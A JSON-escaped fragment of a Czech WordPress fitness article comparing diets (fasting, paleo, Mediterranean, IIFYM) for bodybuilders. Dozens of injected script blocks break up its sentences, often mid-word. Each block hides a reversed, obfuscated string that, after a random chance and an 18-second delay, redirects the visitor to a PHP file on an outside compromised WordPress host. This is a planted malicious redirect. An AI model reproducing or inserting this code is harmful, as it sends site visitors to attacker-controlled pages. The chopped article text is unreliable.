$NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, o jak dlouh\u00fd p\u016fst p\u016fjde.<\/p>\n\n\n\n<p>Z&nbsp;pohledu hubnut\u00ed samoz\u0159ejm\u011b p\u016fst funguje, ale pokud sou\u010dasn\u011b chcete ochr\u00e1nit svalovou hmotu, p\u0159\u00edpadn\u011b dokonce jej\u00ed mno\u017estv\u00ed nav\u00fd\u0161it, mus\u00edte si po\u010d\u00ednat nanejv\u00fd\u0161 opatrn\u011b. V&nbsp;takov\u00e9m p\u0159\u00edpad\u011b by asi st\u00e1lo za zkou\u0161ku m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to naprost\u00e9 hladovky za\u0159adit b\u011bhem dne t\u0159i a\u017e \u010dty\u0159i n\u00edzkokalorick\u00e1 proteinov\u00e1 j\u00eddla a k&nbsp;nim p\u0159idat jen trochu zeleniny s&nbsp;n\u00edzk\u00fdm pod\u00edlem \u0161krob\u016f. Nav\u00edc nikde nen\u00ed ps\u00e1no, \u017ee mus\u00edte dr\u017eet celodenn\u00ed p\u016fst, n\u011bkomu se osv\u011bd\u010dilo, \u017ee m\u00e1 v&nbsp;pr\u016fb\u011bhu dne 4-8 hodin vyhrazen\u00fdch na p\u0159\u00edjem kalori\u00ed, zat\u00edmco po zbyl\u00fdch 16-20 hodin dr\u017e\u00ed p\u016fst. O efektivit\u011b t\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to me<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tod se jednodu\u0161e mus\u00edte p\u0159esv\u011bd\u010dit sami, zde budou reakce t\u011bla skute\u010dn\u011b velice individu\u00e1ln\u00ed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"280\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY1.jpg\" alt=\"\" class=\"wp-image-797\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY1.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY1-300x82.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY1-768x210.jpg 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>PALEO<\/strong><\/h2>\n\n\n\n<p>Ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to dieta vych\u00e1z\u00ed z&nbsp;v\u00fdb\u011bru potravin, kter\u00e9 \u010dlov\u011bk konzumoval v&nbsp;pr\u016fb\u011bhu evoluce. Je tedy zalo\u017eena na nadm\u011brn\u011b nezpracovan\u00fdch, kaloricky vydatn\u00fdch pokrmech s&nbsp;vysok\u00fdm pod\u00edlem b\u00edlkovin a jen mal\u00fdm mno\u017estv\u00edm sacharid\u016f. T\u00edm p\u00e1dem se vlastn\u011b jedn\u00e1 o n\u00edzkosacharidovou, \u010di vysokoproteinovou dietu, o kter\u00fdch jsme zde ji\u017e mluvili. Pokud k&nbsp;paleo strav\u011b p\u0159id\u00e1te syrov\u00e1tkov\u00fd protein a v\u00e1pn\u00edk, m\u00e1te \u0161anci dos\u00e1hnout sv\u00fdch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edch c\u00edl\u016f, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee napln\u00ed va\u0161e p\u0159edstavy o udr\u017een\u00ed fyzick\u00e9 v\u00fdkonnosti, zachov\u00e1n\u00ed svalov\u00e9 hmoty i \u00fabytku tukov\u00fdch rezerv. Nav\u00edc neohroz\u00ed va\u0161e zdrav\u00ed.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>ST\u0158EDOMO\u0158SK\u00c1 DIETA<\/strong><\/h2>\n\n\n\n<p>Mezi aktivn\u00ed ve\u0159ejnost\u00ed jde o dnes velmi popul\u00e1rn\u00ed v\u00fd\u017eivov\u00fd sm\u011br. Zahrnuje j\u00eddeln\u00ed\u010dek bohat\u00fd na mo\u0159sk\u00e9 ryby, zeleninu, ovoce a zdrav\u00e9 tuky. Z&nbsp;pohledu kulturist\u016f je ov\u0161em t\u0159eba zv\u00fd\u0161it d\u00e1vky b\u00edlkovin na \u00fakor \u0161krob\u016f, \u010d\u00edm\u017e se vlastn\u011b dostaneme k&nbsp;vysokoproteinov\u00e9 strav\u011b s&nbsp;n\u00edzk\u00fdm pod\u00edlem sacharid\u016f, tedy k&nbsp;re\u017eim\u016fm, o jejich\u017e p\u0159\u00ednosech a rizic\u00edch jsme v\u00e1s ji\u017e informovali.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>FLEXIBILN\u00cd DIETA &#8211; IIFYM (If It Fits Your Macros)<\/strong><\/h2>\n\n\n\n<p>Nejde ani tak o dietu v&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom prav\u00e9m smyslu slova, jako sp\u00ed\u0161 o stravov\u00e1n\u00ed, ve kter\u00e9m zohled\u0148ujete d\u00e1vky makro\u017eivin, co\u017e je kulturist\u016fm a fitness nad\u0161enc\u016fm bl\u00edzk\u00e9. \u010cas<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se v&nbsp;n\u00e1vaznosti na flexibiln\u00ed dietu zmi\u0148uje syst\u00e9m 80\/20 \u2013 tzn. z&nbsp;80 % se stravujete dle stanoven\u00fdch pravidel a ve 20 % m\u00e1te volnou ruku. N\u011bco takov\u00e9ho si z\u00e1vodn\u00edk p\u0159ed sout\u011b\u017e\u00ed samoz\u0159ejm\u011b dovolit nem\u016f\u017ee. Stejn\u011b tak je v&nbsp;r\u00e1mci stravy nutn\u00e9 hl\u00eddat nejenom makro- ale i mikro\u017eiviny, tzn. db\u00e1t na dostate\u010dn\u00fd p\u0159\u00edjem vitamin\u016f a miner\u00e1l\u016f, v\u010detn\u011b kvalitn\u00edch suplement\u016f. Flexibiln\u00ed dietu tedy m\u016f\u017eete vyu\u017e\u00edt jako r\u00e1mcov\u00fd v\u00fd\u017eivov\u00fd program, kter\u00fd n\u00e1sledn\u011b p\u0159izp\u016fsob\u00edte sv\u00fdm n\u00e1rok\u016fm.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>NA Z\u00c1KLAD\u011a JAK\u00c9 DIETY BY TEDY M\u011aLA STAV\u011aT KULTURISTICK\u00c1 STRAVA?<\/strong><\/h2>\n\n\n\n<p>Je zcela evidentn\u00ed, \u017ee byste m\u011bli m\u00edt pod kontrolou p\u0159\u00edjem sacharid\u016f a db\u00e1t na dostate\u010dn\u00e9 d\u00e1vky b\u00edlkovin. Nen\u00ed t\u0159eba se ob\u00e1vat tuk\u016f, pokud vol\u00edte ty spr\u00e1vn\u00e9. Bylo by asi zbyte\u010dn\u00e9 experimen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat s&nbsp;ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to die<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou, kter\u00e1 obecn\u011b silov\u00fdm spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm nevyhovuje. Skr\u00fdv\u00e1 v&nbsp;sob\u011b z&nbsp;pohledu z\u00e1vodn\u00edka p\u0159\u00edli\u0161 mnoho rizik, v\u010detn\u011b t\u011bch zdravotn\u00edch. Nav\u00edc jej\u00ed \u00fa\u010dinek pramen\u00ed, jak u\u017e jsme zm\u00ednili, p\u0159edev\u0161\u00edm z&nbsp;omezen\u00e9ho p\u0159\u00edjmu kalori\u00ed a zv\u00fd\u0161en\u00fdch d\u00e1vek protein\u016f. Ostatn\u00ed diety vyzkou\u0161et m\u016f\u017eete, p\u016fst bude asi vyhovuj\u00edc\u00ed jen pro omezenou skupinu spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f a ti ostatn\u00ed budou hledat svou vlastn\u00ed cestu vystav\u011bnou na obecn\u00fdch doporu\u010den\u00edch. A\u0165 u\u017e v&nbsp;jejich p\u0159\u00edpad\u011b p\u0159evl\u00e1dnou pravidla paleo \u010di st\u0159edomo\u0159sk\u00e9 diety nebo se najdou v&nbsp;IIFYM, d\u016fle\u017eit\u00e9 je, aby \u0161lo o j\u00eddeln\u00ed\u010dek, kter\u00fd umo\u017en\u00ed zvl\u00e1dnout n\u00e1ro\u010dn\u00fd, intenzivn\u00ed tr\u00e9nink a dostat t\u011blo do po\u017eadovan\u00e9 formy.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Existuj\u00ed jich des\u00edtky, snad i stovky \u2013 n\u011bkter\u00e9 z&nbsp;nich kr\u00e1tce zaz\u00e1\u0159ily a zase zmizely, proto\u017ee v\u00edc slibovaly, ne\u017e fungovaly, jin\u00e9 se st\u00e1le dr\u017e\u00ed a maj\u00ed svoje p\u0159\u00edznivce. \u0158e\u010d je o diet\u00e1ch, stravovac\u00edch re\u017eimech nej\u010dast\u011bji hodnocen\u00fdch podle toho, jak pom\u00e1haj\u00ed lidem zhubnout. My jsme se ale na n\u011bkter\u00e9 z&nbsp;nich pod\u00edvali trochu jinou optikou \u2013 kulturistickou \u2013 a hodnotili jsme nejenom jejich schopnost stimulovat spalov\u00e1n\u00ed tuk\u016f, ale tak\u00e9 zachovat, pokud mo\u017eno, maximum svalov\u00e9 hmoty. V&nbsp;kulturistice a dal\u0161\u00edch fitness discipl\u00edn\u00e1ch plat\u00ed dvojn\u00e1sob, \u017ee strava naprosto z\u00e1sadn\u00ed m\u011brou ovliv\u0148uje va\u0161i formu. V\u011bt\u0161inou to chce trochu experimentov\u00e1n\u00ed, ne\u017e p\u0159ijdete na to, jak\u00fd v\u00fd\u017eivov\u00fd sm\u011br nejl\u00e9pe vyhovuje pr\u00e1v\u011b v\u00e1m. Nenechte se tedy zm\u00e1st tvrzen\u00edm o tom, \u017ee je n\u011bjak\u00e1 dieta \u201enejlep\u0161\u00ed\u201c. Nen\u00ed! M\u016f\u017ee b\u00fdt nejlep\u0161\u00ed pro v\u00e1s, ale zdaleka nebude vyhovovat n\u00e1rok\u016fm n\u011bkoho jin\u00e9ho. Kdy\u017e se bude jednoho stravovac\u00edho pl\u00e1nu dr\u017eet p\u011bt r\u016fzn\u00fdch lid\u00ed, p\u0159inese to patero r\u016fzn\u00fdch v\u00fdsledk\u016f. Jedno ale plat\u00ed pro v\u0161echny \u2013 pokud m\u00e1te hledat funk\u010dn\u00ed j\u00eddeln\u00ed\u010dek, pot\u0159ebujete nejprve dostatek znalost\u00ed a odpov\u00eddaj\u00edc\u00ed pov\u011bdom\u00ed o jednotliv\u00fdch stravovac\u00edch principech. Pokusili jsme se z&nbsp;kulturistick\u00e9ho hlediska zhodnotit n\u011bkolik popul\u00e1rn\u00edch diet \u2013 ketogenn\u00ed, low-carb (tzn. n\u00edzkosacharidovou), paleo, vysokoproteinovou, st\u0159edomo\u0159skou, IIFYM a p\u0159eru\u0161ovan\u00fd p\u016fst. KETO DIETA Tak jako se d\u0159\u00edve ocitly na pran\u00fd\u0159i tuky, jsou v&nbsp;posledn\u00edch desetilet\u00edch na \u010dern\u00e9 listin\u011b sacharidy. Jak jejich konzumace \u010di 